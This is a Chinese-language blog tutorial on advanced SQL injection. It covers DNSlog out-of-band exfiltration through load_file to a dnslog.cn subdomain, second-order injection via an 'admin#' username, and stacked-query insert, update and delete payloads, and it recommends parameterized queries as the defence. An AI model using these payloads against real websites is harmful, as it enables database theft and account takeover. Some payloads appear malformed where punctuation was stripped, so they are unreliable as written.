WEB安全之SQL注入专题:进阶手法讲解

张开发
2026/4/21 5:14:06 15 分钟阅读

分享文章

WEB安全之SQL注入专题:进阶手法讲解
大家好你们可以叫我凌是个16岁的网络安全学习者。今天我们来讲讲SQL注入的进阶手法本章节内容不多虽然也不难……那就让我们直接开始吧DNSlog 盲注什么情况下使用DNSlog 盲注就是通过 load_file 函数发起请求然后去 DNSlog 平台接收数据需要用到 load_file 函数就是需要用到root用户读写⽂件的功能相关平台http://dnslog.cn/这里以此平台为准http://ceye.io/实战理解点击Get SubDomain设得到29jr5p.dnslog.cn地址获得数据库名字公式?id1 and load_file(concat(//,(select database()),.把获得的地址替换到此处/123))实例?id1 and load_file(concat(//,(select database()),.29jr5p.dnslog.cn/123))获得当前数据库的表公式?id1 and load_file(concat(//,(select table_name from information_schema.tables where table_schemadatabase() limit 0,1),.把获得的地址替换到此处/123)实例?id1 and load_file(concat(//,(select table_name from information_schema.tables where table_schemadatabase() limit 0,1),.29jr5p.dnslog.cn/123)随后点击Refresh Record就可得到我们想要的信息方法总结通用模板and load_file(concat(\\\\, (查询语句), .your.dnslog.cn\\test))利用数据库发起 DNS 请求将查询结果外带到 DNS 日志平台。核心函数MySQL 的 load_file()、MSSQL 的 xp_dirtree 等注意事项1、需要数据库有 FILE 权限且 secure_file_priv 不为 NULL。2、Windows 系统利用UNC路径Linux一般不支持。3、可解决盲注效率低、无回显、易被封IP的问题。4、注意 concat 拼接格式确保域名正确避免解析失败。二次注入概念⼆次注入是指已存储数据库、⽂件的用户输入被读取后再次进入到 SQL 查询语句中导致的注入实战理解先注册个用户admin/123456为后面做准备目前在数据库里面有条姓名为admin密码为admin的用户步骤1碰撞用户再次注册用户名为admin密码为123456会提示admin用户提示已经存在那可以进行攻击步骤2注册新用户根据已经获得的admin用户注册新的的用户admin# / 123456步骤3修改admin#用户密码先登录admin#用户然后进行修改密码 这样就会会直接影响到 另外一个用户【admin】的密码原理详解// 注册时假设magic_quotes_gpc开启或使用addslashes $username addslashes($_POST[username]); // 将 admin# 转义为 admin\# $password md5($_POST[password]); $sql INSERT INTO users (username, password) VALUES ($username, $password); mysql_query($sql);// 修改密码时二次注入点 $newpass md5($_POST[newpass]); $username $_SESSION[username]; // 从数据库取出的原始值未转义 $sql UPDATE users SET password$newpass WHERE username$username; // 如果 username 为 admin# 则实际SQL变为 // UPDATE users SET password... WHERE usernameadmin# ... // 成功修改admin的密码方法总结恶意数据先存入数据库存储时可能被转义后被其他功能取出并拼接入SQL时触发。核心流程1. 注册/插入包含注入负载的数据如 admin#。2. 数据库存储时转义但取出时还原。3. 其他功能如修改密码拼接该数据导致注入。注意事项黑盒难以发现需审计代码逻辑。开发者常默认数据库数据安全忽略⼆次过滤。典型场景注册、修改个⼈信息、留⾔板等。防御无论数据来源拼接SQL前一律过滤或使用参数化查询。堆叠注入概念在 SQL 数据库中每条语句是以“;”分开的堆叠注入就是一次性注入并执行多条语句多语 句之间以分号隔开的注入方式。故事地铁出站 套票 一次性进两个⼈与union对比union联合查询注入执行的语句类型是有限的可以用来执行查询语句。堆叠注入可以执行 的是任意的语句如增删改等实战理解假设有个内部论坛注册功能不会对外开放需要留⾔可以通过前面的方式获取其他用户的 账号、密码设有个admin/123456用户步骤1获取user表的字段数据这个前面知识讲过为避免重复讲解此处进行跳过步骤2构建攻击语句通前面得知了表名、数据的样貌就可以构建新增SQL语句?id2;insert into users (name,password) values(ddd,md5(ddd))更多利用示例修改数据?id1; update users set passwordmd5(hacked) where usernameadmin --删除数据?id1; delete from users where usernametest --创建新表权限允许时?id1; create table shell(cmd text) --方法总结利用分号“;”结束前一条语句后执行后续多条SQL语句可执行增删改查任意操作。通用模板?id1; insert into users(username,password) values(hacker,123) --注意事项1、需要数据库API支持多语句执行如 PHP 的 mysqli_multi_query。2、MySQL 默认不支持堆叠查询但某些驱动或配置可开启。3、第⼆条语句如果是 select结果通常不直接回显常用 union 代替。4、危害极大可增删改数据、创建后门、执行系统命令结合 MSSQL 的 xp_cmdshell。5、检测尝试 ; sleep(5) 观察延时或 ; select if(11,sleep(5),null)。

更多文章